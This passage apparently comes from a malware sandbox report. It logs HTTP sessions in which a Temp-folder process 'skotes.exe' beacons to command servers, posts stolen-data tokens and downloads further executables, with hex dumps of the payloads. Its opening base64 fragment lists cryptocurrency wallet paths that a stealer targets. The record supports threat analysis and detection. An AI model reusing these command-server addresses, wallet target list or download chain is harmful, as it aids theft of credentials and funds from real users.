xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 16, 2024 15:03:13.091902971 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDHIDAEHCFHJJJJECA Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 30 64 31 34 64 33 33 35 63 65 64 63 38 66 63 33 62 64 64 36 66 37 39 64 37 66 39 65 31 39 36 37 65 32 64 32 32 64 33 64 63 30 64 32 35 36 35 38 37 36 62 35 35 31 32 63 66 31 61 66 66 37 33 34 65 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 2d 2d 0d 0a Data Ascii: ------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="message"files------KEHDHIDAEHCFHJJJJECA--
Dec 16, 2024 15:03:13.536595106 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50033	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:55.363070965 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 33 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016131001&unit=246122658369
Dec 16, 2024 15:02:56.710983992 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50037	31.41.244.11	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:56.838460922 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 15:02:58.182754993 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:57 GMT Content-Type: application/octet-stream Content-Length: 727552 Last-Modified: Wed, 11 Dec 2024 08:22:24 GMT Connection: keep-alive ETag: "67594bc0-b1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL$XgN,6@P\|z@ld8h4d.textAMN `.rdata<~`V@@.dataL@.rsrc@@.reloc@B.bss0@.bss@
Dec 16, 2024 15:02:58.182889938 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:58.182948112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:58.182986021 CET	224	IN	Data Raw: 44 00 00 90 69 04 be 95 e9 d1 5b 89 c1 c1 e9 18 31 c1 69 c1 95 e9 d1 5b 69 ca 95 e9 d1 5b 31 c1 69 44 be 04 95 e9 d1 5b 89 c2 c1 ea 18 31 c2 69 c2 95 e9 d1 5b 69 d1 95 e9 d1 5b 31 c2 83 c7 02 39 fb 75 bf f6 45 e0 04 74 1d 90 69 3c be 95 e9 d1 5b Data Ascii: Di[1i[i[1iD[1i[i[19uEti<[1i[i[1E1ttu#\|D11i[11i[1;uu$U}D$MJLE
Dec 16, 2024 15:02:58.183016062 CET	1236	IN	Data Raw: eb 05 90 83 45 d0 04 8b 45 d8 83 f8 10 72 32 8d 50 01 81 fa 00 10 00 00 72 19 90 8b 4d dc 8b 41 fc 83 c1 fc 29 c1 83 f9 20 73 4a 8b 55 d8 83 c2 24 eb 03 8b 45 dc 90 52 50 e8 e4 10 00 00 83 c4 08 90 8b 45 cc 40 3b 75 0c 0f 85 b4 fd ff ff 90 8b 45 Data Ascii: EEr2PrMA) sJU$ERPE@;uEEMdH^_[]EOmfU]@U]@UM1]fff.U]@U]UWVeE
Dec 16, 2024 15:02:58.183049917 CET	1236	IN	Data Raw: 41 00 e8 c8 f8 ff ff 83 c4 08 89 45 e8 8b 55 e8 ff d2 6a 1c 68 00 e0 41 00 68 49 05 00 00 68 1c e0 41 00 e8 97 fc ff ff 83 c4 10 6a 09 68 00 60 41 00 57 56 e8 86 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 58 f0 41 00 e8 83 f8 ff ff 83 c4 08 8d 4d ec Data Ascii: AEUjhAhIhAjh`AWVh5XAMQj@hIhAuM11^_]uuVA'jhAUSWVL]eEEE"@dMdd=0w@XAhb-/5XA
Dec 16, 2024 15:02:58.183087111 CET	448	IN	Data Raw: c5 0c 83 c4 1c 5d c3 cc cc cc cc 8b 44 24 08 83 f8 0f 74 0d 83 f8 02 75 0d 6a 00 ff 15 8c cd 41 00 31 c0 c2 10 00 ff 25 84 cd 41 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 58 90 89 65 e4 c7 45 f0 ff ff ff ff 8d 45 e8 Data Ascii: ]D$tujA1%AUSWVXeEEE"@dMdjEWEEEE@EjAEE`AEPAft(WEEjjjEPAuugEd
Dec 16, 2024 15:02:58.183264017 CET	1236	IN	Data Raw: 68 d0 20 40 00 6a 00 6a 00 e8 cc 51 00 00 83 c4 18 90 8b 4d e0 89 01 85 c0 0f 84 fd 00 00 00 90 c7 45 d8 00 00 00 00 90 8b 45 d4 8b 30 85 f6 0f 84 fb 00 00 00 e8 65 10 00 00 39 c6 0f 84 fd 00 00 00 90 6a 00 8b 75 e0 ff 76 04 ff 36 e8 fe 0f 00 00 Data Ascii: h @jjQMEE0e9juv6FuAEj@@EMEQjPh"@jj-QEEu9juue
Dec 16, 2024 15:02:58.183427095 CET	224	IN	Data Raw: e8 dc 00 00 00 83 c4 04 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc b8 28 d4 41 00 e9 9d 1f 00 00 cc cc cc cc cc cc b8 a8 d4 41 00 e9 8d 1f 00 00 cc cc cc cc cc cc b8 08 d5 41 00 e9 7d 1f 00 00 cc cc cc cc cc cc b8 64 d5 41 00 e9 6d 1f 00 00 cc Data Ascii: ](AAA}dAmA]tAMA=A-<AhAUugQYtuaYt]}
Dec 16, 2024 15:02:58.183552027 CET	1236	IN	Data Raw: 00 e9 67 61 00 00 55 8b ec ff 75 08 e8 f0 ff ff ff 59 5d c3 55 8b ec f6 45 08 01 56 8b f1 c7 06 78 61 41 00 74 0a 6a 0c 56 e8 d8 ff ff ff 59 59 8b c6 5e 5d c2 04 00 55 8b ec 5d e9 91 ff ff ff e9 bc ff ff ff 3b 0d 00 e6 41 00 75 01 c3 e9 bb 0a 00 Data Ascii: gaUuY]UEVxaAtjVYY^]U];AuUQQEVEEEVD`A"bRP#!YY^UVFD`A `PEP YY^]AD`APB!YUVuLaA^]aaA A
Dec 16, 2024 15:02:58.303464890 CET	1236	IN	Data Raw: 08 56 8b 75 0c 8b 42 04 8b 4e 04 8b 40 04 3b 41 04 75 0a 8b 02 3b 06 75 04 b0 01 eb 02 32 c0 5e 5d c3 6a 24 b8 25 5c 41 00 e8 bd 07 00 00 8b 75 08 89 75 d4 83 65 fc 00 83 7d 24 00 74 0f 6a 02 68 6c af 41 00 8d 4d 14 e8 b2 fd ff ff 8d 45 d8 50 8d Data Ascii: VuBN@;Au;u2^]j$%\Auue}$tjhlAMEPMzxHEvQPMMEPMU A3EEVuuPhuEuPW$PMMUNMaA3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50050	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:02.189292908 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016132001&unit=246122658369
Dec 16, 2024 15:03:03.522965908 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50054	31.41.244.11	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:03.679275990 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 15:03:05.014134884 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:04 GMT Content-Type: application/octet-stream Content-Length: 4417024 Last-Modified: Mon, 16 Dec 2024 12:38:51 GMT Connection: keep-alive ETag: "67601f5b-436600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b1 4c 5d 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e0 4b 00 00 64 71 00 00 32 00 00 00 60 c1 00 00 10 00 00 00 f0 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c1 00 00 04 00 00 e2 af 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f c0 6e 00 73 00 00 00 00 b0 6e 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 45 c1 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 44 c1 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELL]g(Kdq2`K@C@ _nsn8ED n@(@.rsrcnP(@.idata nR(@ 7nT(@zigcqnly`V(@gjhismysP>C@.taggant0`"DC@
Dec 16, 2024 15:03:05.014149904 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:05.014266968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:05.014280081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:05.014295101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:05.014430046 CET	672	IN	Data Raw: 5c e0 79 56 ef 1d cb 7d 09 f2 65 e4 bd 13 1d 91 e5 73 6d 08 49 6f 57 12 b6 c0 d5 5a 8c b2 2e b6 3b 13 5e 1a 80 34 3b 1e 79 5b bb ed 82 2e 5b a7 6e 5a 4b 59 0c 87 2d 71 46 63 3f 44 8c d8 ad f5 a0 e4 07 69 0d 16 5f f6 83 c2 75 6d 28 85 36 cf c9 68 Data Ascii: \yV}esmIoWZ.;^4;y[.[nZKY-qFc?Di_um(6h`4U[[C6z- 3[Ev3'c~nzg}6FrgcPG\knp}Jv\|F<m{76Pau3J7z#L*A8^sqFi~5HzpfC
Dec 16, 2024 15:03:05.014498949 CET	1236	IN	Data Raw: c8 25 29 56 54 07 2b a2 ac 2b 74 07 af 16 1a c8 1d 36 b4 46 16 45 67 92 ee c2 dd 06 05 ce 42 4f 6d 92 45 7d 10 12 0c 6c 15 65 9b 67 fb ec c3 68 7c bd da ee 58 32 89 e2 6b c6 1e 26 3d 7b c3 50 0b d8 c5 3a 1e 16 be f6 08 22 3f 0d 38 39 59 62 d0 1e Data Ascii: %)VT++t6FEgBOmE}legh\|X2k&={P:"?89YbA[%XR8 (d3Y*f&cM#^9jo\|g]w{cP[jY@OcdsY6b{{Y_;&pNZqsuB;OUqBv
Dec 16, 2024 15:03:05.014667034 CET	1236	IN	Data Raw: 54 bc b6 f3 06 bd cf 30 79 fe 64 23 3c 54 d4 0d 67 6a ce 70 59 3c cc b3 cd e1 de 52 15 12 bb 4a f1 f3 d6 d2 87 b6 2b 22 7c ae 15 bb 4d e8 94 e8 0e 51 2a 67 cf bf 18 ec a1 53 f0 27 92 ae dc a9 0d e7 16 0b af d1 65 1e 9d ed 36 33 21 cd 73 91 7b 66 Data Ascii: T0yd#<TgjpY<RJ+"\|MQgS'e63!s{f?\|6k)~k\:-{j[DL5/&tRr#E.w4>6&%/~FS6m<eq7JV!oF~2 u7y)zlg(T
Dec 16, 2024 15:03:05.014679909 CET	448	IN	Data Raw: 55 37 49 78 c0 91 77 20 55 00 a3 af c8 fb d0 51 73 9f db 8f c4 96 a8 06 c1 ea 3b f0 c9 44 86 b3 93 a2 a4 fd 6b 25 9a fc 93 72 4a ba d0 a6 e1 c6 7c 4c 4e 9b 4b b7 78 1d c5 5f cb c9 b8 d6 2b 92 d3 97 c7 21 26 53 08 d0 c5 31 6d 61 47 38 89 88 7c 92 Data Ascii: U7Ixw UQs;Dk%rJ\|LNKx_+!&S1maG8\|*4 Rj&nyF%x ]rZ\t2&{Lmgb%ptEP@JJ ^#W'%A>w~M_P)oo$=_qw7F3,u
Dec 16, 2024 15:03:05.014904022 CET	1236	IN	Data Raw: 82 5b f8 f0 14 16 c9 83 50 66 c8 f6 e3 42 bd 6d 9c 64 27 cc cd 74 e8 6c 94 5b 0b 29 e7 9c 71 e2 e2 73 cb 4e 14 e6 be 87 2f 74 ce cb 7b 61 65 5f 2c 53 83 1b 80 fd 4f 5b 41 5f 2d 0f 95 88 72 c5 0b e7 64 21 74 df 46 71 88 a7 aa 5a ac ee ec 37 04 97 Data Ascii: [PfBmd'tl[)qsN/t{ae_,SO[A_-rd!tFqZ7CeWsWal63]Q+IxKP6C&.PJ/=y!j^g,Ve~13uhJVDZ[2++`RJI^r(N`
Dec 16, 2024 15:03:05.134191990 CET	1236	IN	Data Raw: d4 3b 2a 31 e0 f2 bb 90 d3 77 a9 6d a2 35 ee 10 ff 09 b6 a9 92 3a 7d 72 22 3b b9 c6 6c 52 a7 b0 81 54 fc 55 14 e4 e4 86 d6 15 0f 95 f0 8a ef a7 40 e9 a3 35 b9 c0 fa 52 13 8e 81 c4 b6 62 e3 4a c8 d3 dc d9 cf 5d c2 b2 dc 40 8b 7b 1a 41 e7 87 ed 0c Data Ascii: ;1wm5:}r";lRTU@5RbJ]@{A[:n{Y,-Mh\X2s`.O[m;p]gK^:pOzO[[$@L0Q6[u'Tf(Rmn`{oxc"2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50081	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:15.004394054 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016133001&unit=246122658369
Dec 16, 2024 15:03:16.376051903 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	50087	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:15.989481926 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:03:17.076276064 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 21:29:38 GMT Age: 59618 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:03:17.199753046 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:03:17.515414953 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 21:29:38 GMT Age: 59619 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:03:17.600529909 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:03:17.915426016 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 21:29:38 GMT Age: 59619 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:03:18.440416098 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:03:18.755143881 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 21:29:38 GMT Age: 59620 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:03:18.927265882 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:03:19.242233038 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 21:29:38 GMT Age: 59621 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:03:19.365727901 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:03:19.683619022 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 21:29:38 GMT Age: 59621 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:03:20.213922977 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:03:20.529529095 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 21:29:38 GMT Age: 59622 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
